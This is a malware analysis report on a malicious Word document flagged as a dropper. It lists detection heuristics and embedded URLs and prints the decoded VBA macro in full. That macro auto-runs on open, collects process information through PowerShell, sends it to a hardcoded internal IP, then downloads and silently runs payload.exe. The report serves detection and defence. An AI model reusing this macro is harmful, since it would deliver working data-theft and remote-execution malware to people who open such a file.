Malicious Office (OOXML) / .DOCX — malware analysis report

Static analysis result for SHA-256 ff9e5e2379d44f59…

MALICIOUS

Office (OOXML) / .DOCX

18.4 KB Created: 2026-05-08 15:48:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2026-06-26
MD5: 2409c90bfd6181ef0030b3a9ccc2fc12 SHA-1: 367922ac1244bfcba7ec228dee0dc014bb355918 SHA-256: ff9e5e2379d44f59ee8d1991343fe2acfb433e81a9b415865ca6ee888d1a68b2
470 Risk Score

Heuristics 10

  • ClamAV: Doc.Dropper.Agent-6412232-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6412232-1
  • VBA project inside OOXML medium 7 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        Dim shell As Object
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
        Set shell = CreateObject("WScript.Shell")
  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
    Matched line in script
        psCommand = "powershell.exe -Command ""Get-WmiObject -Query 'SELECT * FROM Win32_Process' | ForEach-Object { $_.ProcessName + ' ' + $_.ProcessId + ' ' + $_.ExecutablePath } | Out-String | ForEach-Object { [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($_)) }"""
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
        adoStream.Write xmlHTTP.ResponseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set shell = CreateObject("WScript.Shell")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://10.222.6.128/receiver.php?data= Referenced by macro
    • http://10.222.6.128/payload.exeReferenced by macro
    • https://[Substrate.BaseHost]/search/api/v1/recommendationsReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2014/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexReferenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/inkReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2017/model3dReferenced by macro
    • http://schemas.microsoft.com/office/2019/extlstReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordml/cexReferenced by macro
    • http://schemas.microsoft.com/office/word/2016/wordml/cidReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2023/wordml/word16duReferenced by macro
    • http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahashReferenced by macro
    • http://schemas.microsoft.com/office/word/2024/wordml/sdtformatlockReferenced by macro
    • http://schemas.microsoft.com/office/word/2015/wordml/symexReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1818 bytes
SHA-256: 1f112c341ed50b6100fb56384bcd54144f811a9c178b8f3cf189dad3adec3883
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
    Dim shell As Object
    Set shell = CreateObject("WScript.Shell")
    
    ' Discovery: Get process information using PowerShell
    Dim psCommand As String
    psCommand = "powershell.exe -Command ""Get-WmiObject -Query 'SELECT * FROM Win32_Process' | ForEach-Object { $_.ProcessName + ' ' + $_.ProcessId + ' ' + $_.ExecutablePath } | Out-String | ForEach-Object { [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($_)) }"""
    
    Dim processInfo As String
    processInfo = shell.Exec(psCommand).StdOut.ReadAll
    
    ' C2: Send the discovery data to the remote server
    Dim http As Object
    Set http = CreateObject("MSXML2.XMLHTTP")
    http.Open "GET", "http://10.222.6.128/receiver.php?data=" & processInfo, False
    http.Send
    
    ' Execution: Download and execute a payload
    Dim payloadURL As String
    payloadURL = "http://10.222.6.128/payload.exe"
    
    Dim payloadPath As String
    payloadPath = shell.ExpandEnvironmentStrings("%TEMP%") & "\payload.exe"
    
    Dim xmlHTTP As Object
    Set xmlHTTP = CreateObject("MSXML2.XMLHTTP")
    xmlHTTP.Open "GET", payloadURL, False
    xmlHTTP.Send
    
    Dim adoStream As Object
    Set adoStream = CreateObject("ADODB.Stream")
    adoStream.Type = 1 ' adTypeBinary
    adoStream.Open
    adoStream.Write xmlHTTP.ResponseBody
    adoStream.SaveToFile payloadPath, 2 ' adSaveCreateOverWrite
    
    ' Execute the downloaded payload
    shell.Run payloadPath, 0, True
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 10240 bytes
SHA-256: 605070b771e8ac25a4a3ac7c2bf6c5bc2fe6a6c70cc4ea1da88eb6333212add9
Detection
ClamAV: Doc.Dropper.Agent-6412232-1
Obfuscation or payload: unlikely